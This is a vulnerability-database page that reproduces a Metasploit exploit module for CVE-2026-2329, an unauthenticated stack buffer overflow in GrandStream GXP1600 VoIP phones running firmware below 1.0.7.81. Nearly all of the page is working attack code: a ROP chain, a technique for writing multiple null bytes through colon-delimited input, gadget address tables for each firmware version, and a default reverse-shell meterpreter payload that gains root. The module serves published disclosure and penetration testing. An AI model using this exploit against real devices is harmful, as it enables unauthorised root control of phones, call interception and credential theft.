Lucene search
+L

📄 GrandStream GXP1600 Unauthenticated Remote Code Execution

🗓️ 24 Feb 2026 00:00:00Reported by sfewer-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 331 Views

Unauthenticated remote code execution on GrandStream GXP1600 series via web API; affects six models below firmware 1.0.7.81.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Stack-based Buffer Overflow in Grandstream Gxp1610_Firmware
19 Aug 202621:48
–githubexploit
attackerkb
attackerkb
CVE-2026-2329
18 Feb 202614:08
–attackerkb
bdu_fstec
BDU FSTEC
Grandstream GXP Code Execution Root Privileges
20 Feb 202600:00
–bdu_fstec
circl
Circl
CVE-2026-2329
18 Feb 202614:15
–circl
cnnvd
CNNVD
Grandstream GXP series security vulnerabilities
18 Feb 202600:00
–cnnvd
cve
CVE
CVE-2026-2329
18 Feb 202614:08
–cve
cvelist
Cvelist
CVE-2026-2329 Grandstream GXP1600 VoIP Phones - Unauthenticated stack buffer overflow
18 Feb 202614:08
–cvelist
kitploit
Kitploit
grandstream-cve-2026-2329-analysis
25 Oct 202604:35
–kitploit
metasploit
Metasploit
GrandStream GXP1600 Unauthenticated Remote Code Execution
18 Feb 202600:00
–metasploit
nvd
NVD
CVE-2026-2329
18 Feb 202615:18
–nvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'GrandStream GXP1600 Unauthenticated Remote Code Execution',
            'Description' => %q{
              An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint
              /cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote
              code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models
              in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all
              firmware versions below version 1.0.7.81.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'sfewer-r7', # Discovery, Analysis, Exploit
            ],
            'References' => [
              ['CVE', '2026-2329'],
              # Rapid7 advisory for CVE-2026-2329
              ['URL', 'www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
              # Vendor advisory for CVE-2026-2329 (GSVUL-2026-001)
              ['URL', 'https://psirt.grandstream.com/'],
              # Vendor release notes (PDF) for the fixed firmware version 1.0.7.81.
              ['URL', 'https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf']
            ],
            'DisclosureDate' => '2026-02-18',
            'Platform' => %w[linux unix],
            'Arch' => ARCH_CMD,
            'Privileged' => true, # /app/bin/gs_web runs as root
            'Targets' => [
              [ 'Automatic', {} ],
            ],
            'DefaultTarget' => 0,
            # NOTE: Tested with the following payloads:
            #   cmd/linux/http/armle/meterpreter_reverse_tcp
            #   cmd/unix/reverse_netcat
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/linux/http/armle/meterpreter_reverse_tcp',
              'RPORT' => 80,
              'SSL' => false,
              # A writable directory on the target for fetch based payloads to write to.
              'FETCH_WRITABLE_DIR' => '/tmp',
              # Delete the fetch binary after execution.
              'FETCH_DELETE' => true
            },
            'Payload' => {
              'BadChars' => ':',
              'Encoder' => 'cmd/base64'
            },
            'Notes' => {
              'Stability' => [CRASH_SERVICE_RESTARTS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS],
              'RelatedModules' => [
                'post/linux/gather/grandstream_gxp1600_creds',
                'post/linux/capture/grandstream_gxp1600_sip'
              ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to web admin', '/']),
          ]
        )
      end
    
      def check
        version_id = '68'
        model_id = 'phone_model'
    
        server_res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
          'vars_post' => {
            'request' => "#{version_id}:#{model_id}"
          }
        )
    
        return CheckCode::Unknown('Connection failed') unless server_res
    
        return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200
    
        json_data = server_res.get_json_document
    
        version_str = json_data.dig('body', version_id)
    
        model_str = json_data.dig('body', model_id)
    
        return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank?
    
        # These 6 models all share the same firmware for the GXP1600 range.
        affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]
    
        if affected_models.include? model_str
          version = Rex::Version.new(version_str)
    
          # Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026.
          if version < Rex::Version.new('1.0.7.81')
            return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}")
          end
        end
    
        Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}")
      end
    
      def exploit
        version_id = '68'
    
        server_res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
          'vars_post' => {
            'request' => version_id
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Failed to get version number') unless server_res&.code == 200
    
        json_data = server_res.get_json_document
    
        version_str = json_data.dig('body', version_id)
    
        rop_table = get_rop_table(version_str)
    
        fail_with(Failure::BadConfig, "No ROP table available for version #{version_str}") unless rop_table
    
        vprint_status("ROP Table: #{rop_table}")
    
        unless rop_table[:gadget3_call_exit]
          print_warning('No ROP gadget available to call exit(). The payload will work, but will crash and core dump the target gs_web process.')
        end
    
        pointer_size = 4
    
        rop = [
          :rand4, # padding
          # The vulnerable function returns via this function epilogue: POP {R4-R11,PC}
          # So we initially get control of registers r4 - r11, and then execute gadget1_blx_pop via the overwritten PC.
          rop_table[:address_data_section], # r4 -> .data segment
          :rand4, # r5
          :rand4, # r6
          :rand4, # r7
          :rand4, # r8
          :rand4, # r9
          :rand4, # r10
          :rand4, # r11
          rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
          :patch_offset2cmd, # r3 -> r0 + r3 == "/bin/sh ..."
          rop_table[:gadget2_add_str_add_str_pop], # pc -> add r0, r3, r0; str r7, [r4, #8]; add r6, r0, r6; str r6, [r4, #4]; pop {r4, r5, r6, r7, r8, pc};
          :rand4, # r4
          :rand4, # r5
          :rand4, # r6
          :rand4, # r7
          :rand4, # r8
          rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
          rop_table[:address_system_plt], # r3 -> system@plt
          rop_table[:gadget1_blx_pop], # pc -> blx r3; pop {r3, pc}
          :rand4, # r3
          rop_table[:gadget3_call_exit] || :rand4highnull # pc -> mov r0, 1; bl 0xbcd0 <exit@plt>
        ]
    
        overflow_buffer = Rex::Text.rand_text_alpha(64)
    
        rop.map! do |item|
          if item == :patch_offset2cmd
            # When the vulnerable function returns, r0 will point into the stack, 28 bytes before the start of our overflow
            # buffer. We use a gadget (gadget2_add_str_add_str_pop) to add r0 to an offset (held in r3), after this gadget
            # executes, r3 will point to the OS command we want to execute, which is located on the stack directly after
            # our ROP chain. The below offset is the value placed in r3 for this calculation.
            item = 28 + overflow_buffer.length + (rop.length * pointer_size)
          elsif item == :rand4
            item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first
          elsif item == :rand4highnull
            item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF
          end
          item
        end
    
        vprint_status("Encoded ARCH_CMD Payload: #{payload.encoded}")
    
        request_buffer = gen_buffer(
          rop.pack('V*') << payload.encoded,
          overflow_buffer
        )
    
        register_file_for_cleanup('/tmp/core.gz')
    
        register_dir_for_cleanup('/core')
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
          'vars_post' => {
            'request' => request_buffer
          }
        )
      end
    
      # The vulnerability only allows for a single null terminator byte to be written during the overflow. To overcome this
      # limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request
      # parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can
      # be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null
      # byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.
      #
      # For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g.
      # "EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte)
      # we can trigger the overflow 5 times by structuring the input as follows:
      # "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE"
      # When the vulnerable function process this colon deliminated input, it will trigger the overflow 5 times, and each
      # time it will write a null byte at the end of the current identifier being processed. The final memory layout will
      # be the expected attacker controller byte sequence. Note, the lengths used in this example are contrived for brevity,
      # as the actual vulnerable function requires a 64 byte buffer to be overflowed for each invocation of the vulnerability.
      #
      # The gen_buffer method will take care of restructuring the input in the above described manner.
      def gen_buffer(input, line_padding = '')
        input << "\x00" unless input[input.length - 1] == "\x00"
    
        len = input.length
    
        lines = []
    
        input.reverse.each_byte do |chr|
          line = '1' * (len - 1)
    
          if chr.zero?
            line << ':'
          else
            line << [chr].pack('C')
          end
    
          len -= 1
    
          lines << line
        end
    
        res = []
    
        lines.each do |line|
          if line.end_with? ':'
            res << (line_padding + line)
          else
            res.last[line_padding.length + line.length - 1] = line[line.length - 1]
          end
        end
    
        res.join
      end
    
      def get_rop_table(version_str)
        rop_tables = {
          '1.0.7.80' =>
            {
              address_system_plt: 0x0000b868,
              address_data_section: 0x000224c8,
              gadget2_add_str_add_str_pop: 0x0000f110,
              gadget1_blx_pop: 0x0000c230,
              gadget3_call_exit: 0x0000ffc0
            },
          '1.0.7.79' =>
            {
              address_system_plt: 0x0000b73c,
              address_data_section: 0x00022490,
              gadget2_add_str_add_str_pop: 0x0000ef64,
              gadget1_blx_pop: 0x0000c0ec,
              gadget3_call_exit: 0x0000fe14
            },
          '1.0.7.74' =>
            {
              address_system_plt: 0x0000b73c,
              address_data_section: 0x00022490,
              gadget2_add_str_add_str_pop: 0x0000ef64,
              gadget1_blx_pop: 0x0000c0ec,
              gadget3_call_exit: 0x0000fe14
            },
          '1.0.7.70' => {
            address_system_plt: 0x0000b73c,
            address_data_section: 0x00022490,
            gadget2_add_str_add_str_pop: 0x0000ef64,
            gadget1_blx_pop: 0x0000c0ec,
            gadget3_call_exit: 0x0000fe14
          },
          '1.0.7.67' => {
            address_system_plt: 0x0000b6c4,
            address_data_section: 0x00021e6c,
            gadget2_add_str_add_str_pop: 0x0000ed7c,
            gadget1_blx_pop: 0x0000c05c,
            gadget3_call_exit: 0x0000fc2c
          },
          '1.0.7.64' => {
            address_system_plt: 0x0000b6c4,
            address_data_section: 0x00021e2c,
            gadget2_add_str_add_str_pop: 0x0000ed38,
            gadget1_blx_pop: 0x0000c05c,
            gadget3_call_exit: 0x0000fbe8
          },
          '1.0.7.56' => {
            address_system_plt: 0x0000bd78,
            address_data_section: 0x00022474,
            gadget2_add_str_add_str_pop: 0x000140ec,
            gadget1_blx_pop: 0x0000c6bc,
            gadget3_call_exit: nil
          },
          '1.0.7.50' => {
            address_system_plt: 0x0000bd78,
            address_data_section: 0x00022474,
            gadget2_add_str_add_str_pop: 0x000140ec,
            gadget1_blx_pop: 0x0000c6bc,
            gadget3_call_exit: nil
          },
          '1.0.7.49' => {
            address_system_plt: 0x0000bd78,
            address_data_section: 0x00022474,
            gadget2_add_str_add_str_pop: 0x000140ec,
            gadget1_blx_pop: 0x0000c6bc,
            gadget3_call_exit: nil
          },
          '1.0.7.33' => {
            address_system_plt: 0x0000bd10,
            address_data_section: 0x00021e0c,
            gadget2_add_str_add_str_pop: 0x00013ed4,
            gadget1_blx_pop: 0x0000c63c,
            gadget3_call_exit: nil
          },
          '1.0.7.27' => {
            address_system_plt: 0x0000bd10,
            address_data_section: 0x00021e0c,
            gadget2_add_str_add_str_pop: 0x00013ed4,
            gadget1_blx_pop: 0x0000c63c,
            gadget3_call_exit: nil
          },
          '1.0.7.24' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x00021948,
            gadget2_add_str_add_str_pop: 0x00013b2c,
            gadget1_blx_pop: 0x0000c600,
            gadget3_call_exit: nil
          },
          '1.0.7.18' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x00021470,
            gadget2_add_str_add_str_pop: 0x00013aec,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.7.13' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.7.6' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.7.3' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.5.3' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.4.152' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.4.140' => {
            address_system_plt: 0x0000c358,
            address_data_section: 0x00021454,
            gadget2_add_str_add_str_pop: 0x000137e8,
            gadget1_blx_pop: 0x0000c53c,
            gadget3_call_exit: nil
          },
          '1.0.4.132' => {
            address_system_plt: 0x0000c358,
            address_data_section: 0x00020c2c,
            gadget2_add_str_add_str_pop: 0x00013558,
            gadget1_blx_pop: 0x0000c53c,
            gadget3_call_exit: nil
          },
          '1.0.4.128' => { # Released August 3, 2018.
            address_system_plt: 0x0000c17c,
            address_data_section: 0x0001e9c4,
            gadget2_add_str_add_str_pop: 0x00011cc8,
            gadget1_blx_pop: 0x0000c360,
            gadget3_call_exit: nil
          }
        }
    
        rop_tables[version_str]
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Feb 2026 00:00Current
9.3Critical risk
Vulners AI Score9.3
CVSS 3.19.8
CVSS 49.3
EPSS0.41721
SSVC
331